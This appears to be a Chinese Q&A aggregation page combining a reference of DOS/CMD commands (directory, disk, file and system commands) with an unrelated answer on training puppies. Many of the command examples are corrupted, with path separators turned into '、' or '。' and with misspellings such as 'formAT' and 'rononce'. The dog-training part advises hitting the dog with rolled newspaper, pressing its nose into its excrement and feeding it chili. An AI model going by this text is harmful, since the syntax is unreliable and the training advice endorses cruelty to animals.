][path]SYS[C1:][path]d2:[說明]由於這幾個文件需要復制到特定位置上,所以用COPY命令完成的復制未必能夠啟動機器。能過SYS命令,DOS可以將目標盤已佔據特定位置的文件移動,並將系統文件復制到相應位置上。參數C1 path用來指明系統文件所在目錄。如不指明,則預設為當前盤的當前目錄。所以這個命令一般要在源盤的根目錄進行。15.path[功能]設定DOS尋找.COM、.EXE、.BAT文件的所在目錄[格式]path=[[drive:]path[;…]]或path[說明]只打path沒有參數時,只顯示環境變數內容。有參數時,重新設置path變數。在沒有指定path環境變數時,用戶發出的命令,DOS首先判斷其是否為內部命令,再查找當前目錄中是否有主文件名是該命令的可執行文件,如果均不是,則顯示信息「Badcommandorfilename」。如果發出了指定路徑的命令,則在指定徑中依次查找,仍找不到則出現上述提示。16.edit[功能]edit命令是一個簡單的編輯軟體,我們經常用它來編輯一些程序和批處理文件。17.cls[功能]清除顯示器屏幕上的內容,使DOS提示符到屏幕左上角。
❺ 如何讓寵物小狗聽自己的命令
對狗的訓練,應從出生二、三個月的小狗開始。飼主應有愛心和耐心,讓小狗了解對主人的命令是要絕對服從的。有時小狗不聽話,要對它進行體罰。可把報紙捲成棍狀鞭打狗嘴兩邊,體罰不能過度,否則小狗會產生害怕心理,整天畏前畏尾。當小狗聽話時,可用手順毛撫摸狗的身體,極力稱贊鼓勵。
要使用統一的口令訓練狗做動作。狗是以聲調來判斷主人的意思的。故此,要讓狗理解同樣的意思,不能用不同的口令,否則小狗將無法區別。
家庭里每一個人都依據自己的喜好而管教的話,狗將會感到迷惑、無所適從。如果全家人都要管教狗的話,應事先商量好,要統一使用管教的動作和口令,讓狗把一件件事情完全記住。
一般來說,應注意以下幾點:
⑴讓狗記住統一規定的口令,使它聽到這個口令就會行動。
⑵讓狗看到動作的記號。如舉起右手食指並指向地下,然後喊坐下的口令,要它做出坐下的姿勢。
⑶或用刺激的方法。如輕拍狗的腰部,讓它採取坐下的姿勢。
⑷句子要短,手勢要單純。如喊「等一下」,以手掌堵住狗嘴;如喊「給我」,手伸到狗嘴邊,讓它把咬的東西放在手掌上。
對狗的訓練應從如下幾方面:
(一)排便的訓練
事先給狗准備廁所,即准備大一點的平底盤子,在底部鋪塑膠布,上面鋪上幾張事先染上你養這只狗的尿跡的舊報紙,然後放在走廊的角落或廁所、浴室內。
狗的便意通常是在剛睡醒時或剛吃過飯後。狗即將解大小便時,會聞地面,這時,應立即帶到狗便器旁。
如果看到小狗不在規定的便器內排便而在其它地方時,應馬上把它的鼻子按在排便的地方,並嚴加責備:「不準在此地排便!」同時用手打其屁股,以示警告。然後在排便的地方,用肥皂水洗干凈,去除臭味。否則,小狗嗅到它自己糞便的氣味,還會在此地大小便。
只要反復數次,耐心調教一、二個星期,較慢的至三、四個星期就能學會。往後除了外出,它通常都會在規定的地方排大小便。
排完便後,把上一層的兩張報紙和糞便一起處理掉,留下一張稍微有糞便氣味的即可。
(二)牽狗散步的訓練
初次牽狗散步,給它裝項圈。一般脖子與項圈之間能夠伸進兩個手指為宜。
牽狗散步的正確方法是讓狗在主人的左邊,不要給狗拉著跑,應該拉緊帶子。狗習慣以後,即使沒有帶子,它也不會隨便亂跑。
(三)訓練狗不要隨便亂吠叫
狗胡亂吠叫確實困擾人們。起初,當不要狗吠叫時,就對狗大喝:「不要叫!」使狗立刻停止吠叫,若無效,就用捲起報紙筒打它,此種訓練方法效果較佳。
(四)訓練狗不亂奔撲
狗為了表示親密,具有以很快的速度向主人奔撲的習性,這種行為有時會弄衣服,令人覺得困擾。有客人來訪時,狗奔撲上去,令客人害怕,主人也覺得很難為情。
矯正的方法是,對奔撲上來的狗,一邊說「不行」,一邊用手碰狗的鼻子。反復進行幾次以後,狗就會因得到教訓而不再奔撲。
(五)狗用餐的訓練
給狗餵食,必須固定在一個地方、一定時間內並用固定餐具供給。要讓狗學會在主人許可後才能吃食物。先將裝有食品的餐具放在狗面前,按住它的身體坐下,若狗不聽口令而立即要吃,就得馬上拿起餐具,一直等到它採取稍等的姿勢,才說聲「可以」,然後讓它開始吃飯。
(六)訓練狗「坐下」
把手放在狗腰上向下壓,邊壓邊說「坐下,坐下」,待狗坐好後,與狗拉開一定距離,發出「坐下」的命令,同時伸手呈水平放下,反復數次,狗熟練此動作後,只要用手勢示意,不必發出命令即可奏效。
(七)讓狗學會「拜拜」和「轉身」
把狗愛吃的食物置於狗頭上方,誘惑狗以後腳站立採取「拜拜」的姿勢,還可在此基礎上訓練它轉圈,最後訓練到一聽「轉身」的口令就會旋轉。
(八)訓練伸手和「握手」
剛開始,喊聲「伸手」,然後以一隻手拿起它的左前腳,一隻手拿起它的右前腳,一邊說:「好,好」,一邊抽出一隻手撫摸狗的喉嚨或胸部,還可給它吃點食物,這樣會學得更快。
(九)訓練「咬住」、「鬆口」「拿來」
這種訓練需要強制和威壓。通常使用一根短木棍,先命令它「咬住」,同時以一隻手捏狗的耳朵,另一隻手則拿短棍讓它用嘴咬住,必須反復不斷地練習。訓練它搬運的辦法是讓它人坐下,把東西放在離狗十幾公尺遠的地方,喊一聲「咬住它」,當它咬住以後,又命令它拿過來。假如中途棍子掉落,主人須走到掉落的地方,將木棍拿起,再讓狗銜住過來,然後用手把東西接下,說「好,好」,撫摸它的頭部。動作熟練後,可訓練它咬住東西走路。
(十)訓練狗有等待的耐性
當小狗學會「稍等」的姿勢後,就可以帶它到寧靜的廣場散步。先讓狗坐下,然後發口令「不準動」,便可拿起帶子的前端,緩慢地後退並繞狗的周圍走。這時,如果狗改變姿勢,便從頭訓練。狗學會做這個動作後,主人就可以放開帶子走到較遠的地方,讓它耐心地原地等待。
(十一)訓練狗能「招之即來」
最初牽著狗帶子,一邊喊「過來」,一邊輕拉帶子,使狗的脖子受到刺激而跑過來之後,即叫它坐下。習慣以後,就可解開帶子,拉開距離進行訓練。
(十二)教狗做伏地動作
首先讓狗採取「坐下」的姿勢,然後一面喊「伏地」口令,一面把狗二隻前腳往前面拉,並輕按狗背,使它胸部著地,反復做這個動作。
(十三)拒食的訓練
訓練狗只食主人給的東西,不吃別人給的東西。訓練時,須先選不定期一位家犬不熟悉的人,由此人拿辣椒或非常苦的食物喂狗,狗吃後就會感到辛辣難受,今後凡陌生人餵食便會拒食,此項訓練,須隔二、三天進行數次才能生效。
❻ 誰可以給我DOS下的操作命令我嗎
CMD命令大全
有關某個命令的詳細信息,請鍵入 HELP 命令名
XP.CMD命令大全
有關某個命令的詳細信息,請鍵入 HELP 命令名
ASSOC 顯示或修改文件擴展名關聯。
AT 計劃在計算機上運行的命令和程序。
ATTRIB 顯示或更改文件屬性。
BREAK 設置或清除擴展式 CTRL+C 檢查。
CACLS 顯示或修改文件的訪問控制列表(ACLs)。
CALL 從另一個批處理程序調用這一個。
CD 顯示當前目錄的名稱或將其更改。
CHCP 顯示或設置活動代碼頁數。
CHDIR 顯示當前目錄的名稱或將其更改。
CHKDSK 檢查磁碟並顯示狀態報告。
CHKNTFS 顯示或修改啟動時間磁碟檢查。
CLS 清除屏幕。
CMD 打開另一個 Windows 命令解釋程序窗口。
COLOR 設置默認控制台前景和背景顏色。
COMP 比較兩個或兩套文件的內容。
COMPACT 顯示或更改 NTFS 分區上文件的壓縮。
CONVERT 將 FAT 卷轉換成 NTFS。您不能轉換
當前驅動器。
COPY 將至少一個文件復制到另一個位置。
DATE 顯示或設置日期。
DEL 刪除至少一個文件。
DIR 顯示一個目錄中的文件和子目錄。
DISKCOMP 比較兩個軟盤的內容。
DISKCOPY 將一個軟盤的內容復制到另一個軟盤。
DOSKEY 編輯命令行、調用 Windows 命令並創建宏。
ECHO 顯示消息,或將命令回顯打開或關上。
ENDLOCAL 結束批文件中環境更改的本地化。
ERASE 刪除至少一個文件。
EXIT 退出 CMD.EXE 程序(命令解釋程序)。
FC 比較兩個或兩套文件,並顯示
不同處。
FIND 在文件中搜索文字字元串。
FINDSTR 在文件中搜索字元串。
FOR 為一套文件中的每個文件運行一個指定的命令。
FORMAT 格式化磁碟,以便跟 Windows 使用。
FTYPE 顯示或修改用於文件擴展名關聯的文件類型。
GOTO 將 Windows 命令解釋程序指向批處理程序
中某個標明的行。
GRAFTABL 啟用 Windows 來以圖像模式顯示
擴展字元集。
HELP 提供 Windows 命令的幫助信息。
IF 執行批處理程序中的條件性處理。
LABEL 創建、更改或刪除磁碟的卷標。
MD 創建目錄。
MKDIR 創建目錄。
MODE 配置系統設備。
MORE 一次顯示一個結果屏幕。
MOVE 將文件從一個目錄移到另一個目錄。
PATH 顯示或設置可執行文件的搜索路徑。
PAUSE 暫停批文件的處理並顯示消息。
POPD 還原 PUSHD 保存的當前目錄的上一個值。
PRINT 列印文本文件。
PROMPT 更改 Windows 命令提示符。
PUSHD 保存當前目錄,然後對其進行更改。
RD 刪除目錄。
RECOVER 從有問題的磁碟恢復可讀信息。
REM 記錄批文件或 CONFIG.SYS 中的注釋。
REN 重命名文件。
RENAME 重命名文件。
REPLACE 替換文件。
RMDIR 刪除目錄。
SET 顯示、設置或刪除 Windows 環境變數。
SETLOCAL 開始批文件中環境更改的本地化。
SHIFT 更換批文件中可替換參數的位置。
SORT 對輸入進行分類。
START 啟動另一個窗口來運行指定的程序或命令。
SUBST 將路徑跟一個驅動器號關聯。
TIME 顯示或設置系統時間。
TITLE 設置 CMD.EXE 會話的窗口標題。
TREE 以圖形模式顯示驅動器或路徑的目錄結構。
TYPE 顯示文本文件的內容。
VER 顯示 Windows 版本。
VERIFY 告訴 Windows 是否驗證文件是否已正確
寫入磁碟。
VOL 顯示磁碟卷標和序列號。
XCOPY 復制文件和目錄樹。
appwiz.cpl------------添加刪除程序
control userpasswords2--------用戶帳戶設置
cleanmgr-------垃圾整理
CMD--------------命令提示符可以當作是 Windows 的一個附件,Ping,Convert 這些不能在圖形環境下 使用的功能要藉助它來完成。
cmd------jview察看Java虛擬機版本。
command.com------調用的則是系統內置的 NTVDM,一個 DOS虛擬機。它完全是一個類似 Virtual PC 的 虛擬環境,和系統本身聯系不大。當我們在命令提示符下運行 DOS 程序時,實際上也 是自動轉移到 NTVDM虛擬機下,和 CMD 本身沒什麼關系。
calc-----------啟動計算器
chkdsk.exe-----Chkdsk磁碟檢查
compmgmt.msc---計算機管理
conf-----------啟動 netmeeting
control userpasswords2-----User Account 許可權設置
devmgmt.msc--- 設備管理器
diskmgmt.msc---磁碟管理實用程序
dfrg.msc-------磁碟碎片整理程序
drwtsn32------ 系統醫生
dvdplay--------啟動Media Player
dxdiag-----------DirectX Diagnostic Tool
gpedit.msc-------組策略編輯器
gpupdate /target:computer /force 強制刷新組策略
eventvwr.exe-----事件查看器
explorer-------打開資源管理器
logoff---------注銷命令
lusrmgr.msc----本機用戶和組
msinfo32---------系統信息
msconfig---------系統配置實用程序
net start (servicename)----啟動該服務
net stop (servicename)-----停止該服務
notepad--------打開記事本
nusrmgr.cpl-------同control userpasswords,打開用戶帳戶控制面板
Nslookup-------IP地址偵測器
oobe/msoobe /a----檢查XP是否激活
perfmon.msc----計算機性能監測程序
progman--------程序管理器
regedit----------注冊表編輯器
regedt32-------注冊表編輯器
regsvr32 /u *.dll----停止dll文件運行
route print------查看路由表
rononce -p ----15秒關機
rsop.msc-------組策略結果集
rundll32.exe rundll32.exe %Systemroot%System32shimgvw.dll,ImageView_Fullscreen----啟動一個空白的Windows 圖片和傳真查看器
secpol.msc--------本地安全策略
services.msc---本地服務設置
sfc /scannow-----啟動系統文件檢查器
sndrec32-------錄音機
taskmgr-----任務管理器(適用於2000/xp/2003)
tsshutdn-------60秒倒計時關機命令
winchat--------XP自帶區域網聊天
winmsd---------系統信息
winver-----顯示About Windows 窗口
wupdmgr-----------Windows Update
DOS命令大全
DOS命令大全
一)MD——建立子目錄
1.功能:創建新的子目錄
2.類型:內部命令
3.格式:MD[盤符:][路徑名]〈子目錄名〉
4.使用說明:
(1)「盤符」:指定要建立子目錄的磁碟驅動器字母,若省略,則為當前驅動器;
(2)「路徑名」:要建立的子目錄的上級目錄名,若預設則建在當前目錄下。
例:(1)在C盤的根目錄下創建名為FOX的子目錄;(2)在FOX子目錄下再創建USER子目錄。
C:、>MD FOX (在當前驅動器C盤下創建子目錄FOX)
C:、>MD FOX 、USER (在FOX 子目錄下再創建USER子目錄)
(二)CD——改變當前目錄
1.功能:顯示當前目錄
2.類型:內部命令
3.格式:CD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)如果省略路徑和子目錄名則顯示當前目錄;
(2)如採用「CD、」格式,則退回到根目錄;
(3)如採用「CD.。」格式則退回到上一級目錄。
例:(1)進入到USER子目錄;(2)從USER子目錄退回到子目錄;(3)返回到根目錄。
C:、>CD FOX 、USER(進入FOX子目錄下的USER子目錄)
C:、FOX、USER>CD.。 (退回上一級根目錄)
C:、FOX>CD、 (返回到根目錄)
C:、>
(三)RD——刪除子目錄命令
1.功能:從指定的磁碟刪除了目錄。
2.類型:內部命令
3.格式:RD[盤符:][路徑名][子目錄名]
4.使用說明:
(1)子目錄在刪除前必須是空的,也就是說需要先進入該子目錄,使用DEL(刪除文件的命令)將其子目錄下的文件刪空,然後再退回到上一級目錄,用RD命令刪除該了目錄本身;
(2)不能刪除根目錄和當前目錄。
例:要求把C盤FOX子目錄下的USER子目錄刪除,操作如下:
第一步:先將USER子目錄下的文件刪空;
C、>DEL C:、FOX、USER、*。*
第二步,刪除USER子目錄。
C、>RD C:、FOX、USER
(四)DIR——顯示磁碟目錄命令
1.功能:顯示磁碟目錄的內容。
2.類型:內部命令
3.格式:DIR [盤符][路徑][/P][/W]
4.
使用說明:/P的使用;當欲查看的目錄太多,無法在一屏顯示完屏幕會一直往上卷,不容易看清,加上/P參數後,屏幕上會分面一次顯示23行的文件信息,然後暫停,並提示;Press
any key to continue
/W的使用:加上/W只顯示文件名,至於文件大小及建立的日期和時間則都省略。加上參數後,每行可以顯示五個文件名。
PATH——路徑設置命令
1.功能:設備可執行文件的搜索路徑,只對文件有效。
2.類型:內部命令
3.格式:PATH[盤符1]目錄[路徑名1]{[;盤符2:],〈目錄路徑名2〉…}
4.使用說明:
(1)當運行一個可執行文件時,DOS會先在當前目錄中搜索該文件,若找到則運行之;若找不到該文件,則根據PATH命令所設置的路徑,順序逐條地到目錄中搜索該文件;
(2)PATH命令中的路徑,若有兩條以上,各路徑之間以一個分號「;」隔開;
(3)PATH命令有三種使用方法:
PATH[盤符1:][路徑1][盤符2:][路徑2]…(設定可執行文件的搜索路徑) PATH:(取消所有路徑)
PATH:(顯示目前所設的路徑)
(六)TREE——顯示磁碟目錄結構命令
1.功能:顯示指定驅動器上所有目錄路徑和這些目錄下的所有文件名。
2.類型:外部命令
3.格式:TREE[盤符:][/F][》PRN]
4.使用說明:
(1)使用/F參數時顯示所有目錄及目錄下的所有文件,省略時,只顯示目錄,不顯示目錄下的文件;
(2)選用>PRN參數時,則把所列目錄及目錄中的文件名列印輸出。
(七)DELTREE——刪除整個目錄命令
1.功能:將整個目錄及其下屬子目錄和文件刪除。
2.類型:外部命令
3.格式:DELTREE[盤符:]〈路徑名〉
4.使用說明:該命令可以一步就將目錄及其下的所有文件、子目錄、更下層的子目錄一並刪除,而且不管文件的屬性為隱藏、系統或只讀,只要該文件位於刪除的目錄之下,DELTREE都一視同仁,照刪不誤。使用時務必小心!!!
五、磁碟操作類命令
(一)formAT——磁碟格式化命令
1.功能:對磁碟進行格式化,劃分磁軌和扇區;同時檢查出整個磁碟上有無帶缺陷的磁軌,對壞道加註標記;建立目錄區和文件分配表,使磁碟作好接收DOS的准備。
2.類型:外部命令
3.格式:formAT〈盤符:〉[/S][/4][/Q]
4.使用說明:
(1)命令後的盤符不可預設,若對硬碟進行格式化,則會如下列提示:WARNING:ALL DATA ON NON
——REMOVABLE DISK
DRIVE C:WILL BE LOST !
Proceed with format (Y/N)?
(警告:所有數據在C盤上,將會丟失,確實要繼續格式化嗎?)
(2)若是對軟盤進行格式化,則會如下提示:Insert mew diskette for drive A;
and press ENTER when ready…
(在A驅中插入新盤,准備好後按回車鍵)。
(3)選用[/S]參數,將把DOS系統文件IO.SYS
、MSDOS.SYS及COMMAND.COM復制到磁碟上,使該磁碟可以做為DOS啟動盤。若不選用/S參數,則格式化後的磙盤只能讀寫信息,而不能做為啟動盤;
(4)選用[/4]參數,在1.2MB的高密度軟碟機中格式化360KB的低密度盤;
(5)選用[/Q]參數,快速格式化,這個參數並不會重新劃分磁碟的磁軌貌岸然和扇區,只能將磁碟根目錄、文件分配表以及引導扇區清成空白,因此,格式化的速度較快。
(6)選用[/U]參數,表示無條件格式化,即破壞原來磁碟上所有數據。不加/U,則為安全格式化,這時先建立一個鏡象文件保存原來的FAT表和根目錄,必要時可用UNFORRMAT恢復原來的數據。
(二)UNformAT恢復格式化命令
1.功能:對進行過格式化誤操作丟失數據的磁碟進行恢復。
2.類型:外部命令
3.格式:UNformAT〈盤符〉[/L][/U][/P][/TEST]
4.使用說明:用於將被「非破壞性」格式化的磁碟恢復。根目錄下被刪除的文件或子目錄及磁碟的系統扇區(包括FAT、根目錄、BOOT扇區及硬碟分區表)受損時,也可以用UNformAT來搶救。
(1)選用/L參數列出找到的子目錄名稱、文件名稱、大孝日期等信息,但不會真的做formAT工作。
(2)選用/P參數將顯示於屏幕的報告(包含/L參數所產生的信息)同時也送到列印機。運行時屏幕會顯示:「Print out will
be sent to LPT1」
(3)選用/TEST參數只做模擬試驗(TEST)不做真正的寫入動作。使用此參數屏幕會顯示:「Simulation only」
(4)選用/U參數不使用MIRROR映像文件的數據,直接根據磁碟現狀進行UNformAT。
(5)選用/PSRTN;修復硬碟分區表。
若在盤符之後加上/P、/L、/TEST之一,都相當於使用了/U參數,UNformAT會「假設」此時磁碟沒有MIRROR映像文件。
注意:UNformAT對於剛formAT的磁碟,可以完全恢復,但formAT後若做了其它數據的寫入,則UNformAT就不能完整的救回數據了。UNformAT並非是萬能的,由於使用UNformAT會重建FAT與根目錄,所以它也具有較高的危險性,操作不當可能會擴大損失,如果僅誤刪了幾個文件或子目錄,只需要利用UNDELETE就夠了。
三) CHKDSK——檢查磁碟當前狀態命令
1.功能:顯示磁碟狀態、內存狀態和指定路徑下指定文件的不連續數目。
2.類型:外部命令
3.格式:CHKDSK [盤符:][路徑][文件名][/F][/V]
4.使用說明:
(1)選用[文件名]參數,則顯示該文件佔用磁碟的情況;
(2)選[/F]參數,糾正在指定磁碟上發現的邏輯錯誤;
(3)選用[/V]參數,顯示盤上的所有文件和路徑。
(四)DISKCOPY——整盤復制命令
1.功能:復制格式和內容完全相同的軟盤。
2.類型:外部命令
3.格式:DISKCOPY[盤符1:][盤符2:]
4.使用說明:
(1)如果目標軟盤沒有格式化,則復制時系統自動選進行格式化。
(2)如果目標軟盤上原有文件,則復制後將全部丟失。
(3)如果是單驅動器復制,系統會提示適時更換源盤和目標盤,請操作時注意分清源盤和目標盤。
(五)LABEL——建立磁碟卷標命令
1.功能:建立、更改、刪除磁碟卷標。
2.類型:外部命令
3.格式:LABEL[盤符:][卷標名]
4.使用說明:
(1)卷標名為要建立的卷標名,若預設此參數,則系統提示鍵入卷標名或詢問是否刪除原有的卷標名;
(2)卷標名由1至11個字元組成。
(六)VOL——顯示磁碟卷標命令
1.功能:查看磁碟卷標號。
2.類型:內部命令
3.格式:VOL[盤符:]
4.使用說明:省略盤符,顯示當前驅動器卷標。
(七)SCANDISK——檢測、修復磁碟命令
1.功能:檢測磁碟的FAT表、目錄結構、文件系統等是否有問題,並可將檢測出的問題加以修復。
2.類型:外部命令
3.格式:SCANDISK[盤符1:]{[盤符2:]…}[/ALL]
4.使用說明:
(1)CCANDISK適用於硬碟和軟盤,可以一次指定多個磁碟或選用[/ALL]參數指定所有的磁碟;
(2)可自動檢測出磁碟中所發生的交叉連接、丟失簇和目錄結構等邏輯上的錯誤,並加以修復。
(八)DEFRAG——重整磁碟命令
1.。功能:整理磁碟,消除磁碟碎塊。
2.類型:外部命令
3.格式:DEFRAG[盤符:][/F]
4.使用說明:選用/F參數,將文件中存在盤上的碎片消除,並調整磁碟文件的安排,確保文件之間毫無空隙。從而加快讀盤速度和節省磁碟空間。
(九)SYS——系統復制命令
1.功能:將當前驅動器上的DOS系統文件IO.SYS,MSDOS.SYS和COMMAND.COM 傳送到指定的驅動器上。
2.類型:外部命令
3.格式:SYS[盤符:]
*使用說明:如果磁碟剩餘空間不足以存放系統文件,則提示:No roomfor on destination disk.
文件操作類命令
(一) COPY文件復制命令
1.功能:拷貝一個或多個文件到指定盤上。
2.類型:內部命令
3.格式:COPY [源盤][路徑]〈源文件名〉[目標盤][路徑][目標文件名]
4.使用說明:
(1)COPY是文件對文件的方式復制數據,復制前目標盤必須已經格式化;
(2)復制過程中,目標盤上相同文件名稱的舊文件會被源文件取代;
(3)復制文件時,必須先確定目標般有足夠的空間,否則會出現;insufficient的錯誤信息,提示磁碟空間不夠;
(4)文件名中允許使用通配舉「*」「?」,可同時復制多個文件;
(5)COPY命令中源文件名必須指出,不可以省略。
(6)復制時,目標文件名可以與源文件名相同,稱作「同名拷貝」此時目標文件名可以省略;
(7)復制時,目標文件名也可以與源文件名不相同,稱作「異名拷貝」,此時,目標文件名不能省略;
(8)復制時,還可以將幾個文件合並為一個文件,稱為「合並拷貝」,格式如下:COPY;[源盤][路徑]〈源文件名1〉〈源文件名2〉…[目標盤][路徑]〈目標文件名〉;
(9)利用COPY命令,還可以從鍵盤上輸入數據建立文件,格式如下:COPY CON [盤符:][路徑]〈文件名〉;
(10)注意:COPY命令的使用格式,源文件名與目標文件名之間必須有空格!
(二)XCOPY——目錄復制命令
1.功能:復制指定的目錄和目錄下的所有文件連同目錄結構。
2.類型:外部命令
3.格式:XCOPY [源盤:]〈源路徑名〉[目標盤符:][目標路徑名][/S][/V][/E]
4.使用說明:
(1)XCOPY是COPY的擴展,可以把指定的目錄連文件和目錄結構一並拷貝,但不能拷貝隱藏文件和系統文件;
(2)使用時源盤符、源目標路徑名、源文件名至少指定一個;
(3)選用/S時對源目錄下及其子目錄下的所有文件進行COPY。除非指定/E參數,否則/S不會拷貝空目錄,若不指定/S參數,則XCOPY只拷貝源目錄本身的文件,而不涉及其下的子目錄;
(4)選用/V參數時,對的拷貝的扇區都進行較驗,但速度會降低。
(三)TYPE——顯示文件內容命令
1.功能:顯示ASCII碼文件的內容。
2.類型:內部命令。
3.格式:TYPE[盤符:][路徑]〈文件名〉
4.使用說明:
(1)顯示由ASCII碼組成的文本文件,對。EXE.COM等為擴展名的文件,其顯示的內容是無法閱讀的,沒有實際意義2;
(2)該命令一次只可以顯示一個文件的內容,不能使用通配符;
(3)如果文件有擴展名,則必須將擴展名寫上;
(4)當文件較長,一屏顯示不下時,可以按以下格式顯示;TYPE[盤符:][路徑]〈文件名〉|MORE,MORE為分屏顯示命令,使用些參數後當滿屏時會暫停,按任意鍵會繼續顯示。
(5)若需將文件內容列印出來,可用如下格式:
TYPE[盤符:][路徑]〈文件名〉,>PRN
此時,列印機應處於聯機狀態。
(四) REN——文件改名命令
1.功能:更改文件名稱
2.類型:內部命令
3.格式:REN[盤符:][路徑]〈舊文件名〉〈新文件名〉
4.使用說明:
(1)新文件名前不可以加上盤符和路徑,因為該命令只能對同一盤上的文件更換文件名;
(2)允許使用通配符更改一組文件名或擴展名。
(五)FC——文件比較命令
1.功能:比較文件的異同,並列出差異處。
2.類型:外部命令
3.格式:FC[盤符:][路徑名]〈文件名〉[盤符:][路徑名][文件名][/A][/B][/C][/N]
4.使用說明:
(1)選用/A參數,為ASCII碼比較模式;
(2)選用/B參數,為二進制比較模式;
(3)選用/C參數,將大小寫字元看成是相同的字元。
(4)選用/N參數,在ASCII碼比較方式下,顯示相異處的行號。
(六)ATTRIB——修改文件屬性命令
1.功能:修改指定文件的屬性。(文件屬性參見2.5.4(二)文件屬性一節)
2.類型:外部命令。
3.格式:ATTRIB[文件名][R][——R][A][——A][H][——H][——S]
4.使用說明:
(1)選用R參數,將指定文件設為只讀屬性,使得該文件只能讀取,無法寫入數據或刪除;選用——R參數,去除只讀屬性;
(2)選用A參數,將文件設置為檔案屬性;選用——A參數,去除檔案屬性; (3)選用H參數,將文件調協為隱含屬性;選用——H參數,去隱含屬性;
(4)選用S參數,將文件設置為系統屬性;選用——S參數,去除系統屬性; (5)選用/S參數,對當前目錄下的所有子目錄及作設置。
七) DEL——刪除文件命令
1.功能:刪除指定的文件。
2.類型:內部命令
3.格式:DEL[盤符:][路徑]〈文件名〉[/P]
4.使用說明:
(1)選用/P參數,系統在刪除前詢問是否真要刪除該文件,若不使用這個參數,則自動刪除;
(2)該命令不能刪除屬性為隱含或只讀的文件;
(3)在文件名稱中可以使用通配符;
(4)若要刪除磁碟上的所有文件(DEL*•*或DEL•),則會提示:(Arey ou sure?)(你確定嗎?)若回答Y,則進行刪除,回答N,則取消此次刪除作業。
(八) UNDELETE——恢復刪除命令
1.功能:恢復被誤刪除命令
2.類型:外部命令。
3.格式:UNDELETE[盤符:][路徑名]〈文件名〉[/DOS]/LIST][/ALL]
4.使用說明:使用UNDELETE可以使用「*」和「?」通配符。
(1)選用/DOS參數根據目錄里殘留的記錄來恢復文件。由於文件被刪除時,目錄所記載斬文件名第一個字元會被改為E5,DOS即依據文件開頭的E5和其後續的字元來找到欲恢復的文件,所以,UNDELETE會要求用戶輸入一個字元,以便將文件名字補齊。但此字元不必和原來的一樣,只需符合DOS的文件名規則即可。
(2)選用/LIST只「列出」符合指定條件的文件而不做恢復,所以對磁碟內容完全不會有影響。
(3)選用/ALL自動將可完全恢復的文件完全恢復,而不一一地詢問用戶,使用此參數時,若UNDELTE利用目錄里殘留的記錄來將文件恢復,則會自動選一個字元將文件名補齊,並且使其不與現存文件名相同,選用字元的優選順序為:#%——0000123456789A~Z。
UNDELETE還具有建立文件的防護措施的功能,已超出本課程授課范圍,請讀者在使用些功能時查閱有關DOS手冊。
七、其它命令
(一)CLS——清屏幕命令
1功能:清除屏幕上的所有顯示,游標置於屏幕左上角。
2類型:內部命令
3格式:CLS
(二) VER查看系統版本號命令
1功能:顯示當前系統版本號
2類型:內部命令
3格式:VER
(三) DATA日期設置命令
1功能:設置或顯示系統日期。
2類型:內部命令
3格式:DATE[mm——dd——yy]
4使用說明:
(1)省略[mm——dd——yy]顯示系統日期並提示輸入新的日期,不修改則可直接按回車鍵,[mm——dd——yy]為「月月——日日——年年」格式;
(2)當機器開始啟動時,有自動處理文件(AUTOEXEC.BAT)被執行,則系統不提示輸入系統日期。否則,提示輸入新日期和時間。
(四) TIME系統時鍾設置命令
1功能:設置或顯示系統時期。
2類型:內部命令
3格式:TIME[hh:mm:ss:xx]
4使用說明:
(1)省略[hh:mm:ss:xx],顯示系統時間並提示輸入新的時間,不修改則可直接按回車鍵,[hh:mm:ss:xx]為「小時:分鍾:秒:百分之幾秒」格式;
(2)當機器開始啟動時,有自動處理文件(AUTOEXEC.BAT)被執行,則系統不提示輸入系統日期。否則,提示輸入新日期和時間。
(五)MEM查看當前內存狀況命令
1功能:顯示當前內存使用的情況
2類型:外部命令
3格式:MEM[/C][/F][/M][/P]
4使用說明:
(1)選用/C參數列出裝入常規內存和CMB的各文件的長度,同時也顯示內存空間的使用狀況和最大的可用空間;
(2)選用/F參數分別列出當前常規內存剩餘的位元組大小和UMB可用的區域及大小;
(3)選用/M參數顯示該模塊使用內存地地址、大小及模塊性質;
(4)選用/P參數指定當輸出超過一屏時,暫停供用戶查看。
(六) MSD顯示系統信息命令
1功能:顯示系統的硬體和操作系統的狀況。
2類型:外部命令
3格式:MSD[/I][/B][/S]
4使用說明:
(1)選用/I參數時,不檢測硬體;
(2)選用/B參數時,以黑白方式啟動MSD;
(3)選用/S參數時,顯示出簡明的系統報告。
❼ 問:DOS命令 是什麼!
DOS的特點
--------------------------------------------------------------------------------
http://Tech.acnow.net 2005-11-4 網路
在DOS環境下,開機後,我們面對的不是桌面和圖標,而是這樣的電腦屏幕:這個C:\>叫做提示符,這個閃動的橫線叫做游標。這樣就表示電腦已經准備好,在等待我們給它下命令了。我們現在所需要做的,就是對電腦發出命令,給電腦什麼命令,電腦就會做什麼。那我們又怎麼向電腦發布命令呢?
很簡單。比如,我們想看看現在幾點鍾了,就可以輸入時間命 令,敲入time四個字母,它在英文中是「時間」的意思,再敲回車鍵加以確認,這時屏幕上就顯示出當前時間。
再敲回車鍵,瞧!又出現提示符了,就可以輸入下一條命令了。
如果想看日期,輸入date,然後敲回車鍵確認。
這時屏幕上顯示出當前日期。再敲回車鍵就回到提示符下。
這就是DOS的命令輸入方法,和 Windows 95中用滑鼠尋找圖標來運行程序不同,DOS中是通過輸入英文命令加回車鍵這種方式來執行程序的。
怎麼樣,和Windows 95完全不一樣吧?在字元界面下,我們只能通過鍵盤輸入字元來指揮電腦工作,電腦完成一個命令後,出現下一個提示符,我們就又可以給電腦下命令了。注意,在DOS下電腦一次只能做一件事,做完以後才能開始下一件事;而在95下,我們可能讓電腦同時干幾件事,比如,我們可以一邊拷貝文件,一邊寫文章,一邊瀏覽Internet。所以人們把DOS稱為單任務的操作系統,而把 Windows 95稱為多任務的操作系統。
http://tech.acnow.net/html/OS/DOS/2005-11/10/10373505111010373512045.shtml
❽ 什麼是DOS
在1995年Windows 95推出以前,占統治地位的操作系統是DOS(Disk Operation System 磁碟操作系統)。
接觸電腦早一點的人想必都聽說過DOS的大名,更有很多人到今天仍然對DOS時代懷念不已,雖然自己的電腦早已用上了Windows 95,但仍要在硬碟上保留一份DOS,以備不時之需。
那麼DOS的魅力到底在哪裡呢?我們這就一起來揭開DOS的神秘面紗。
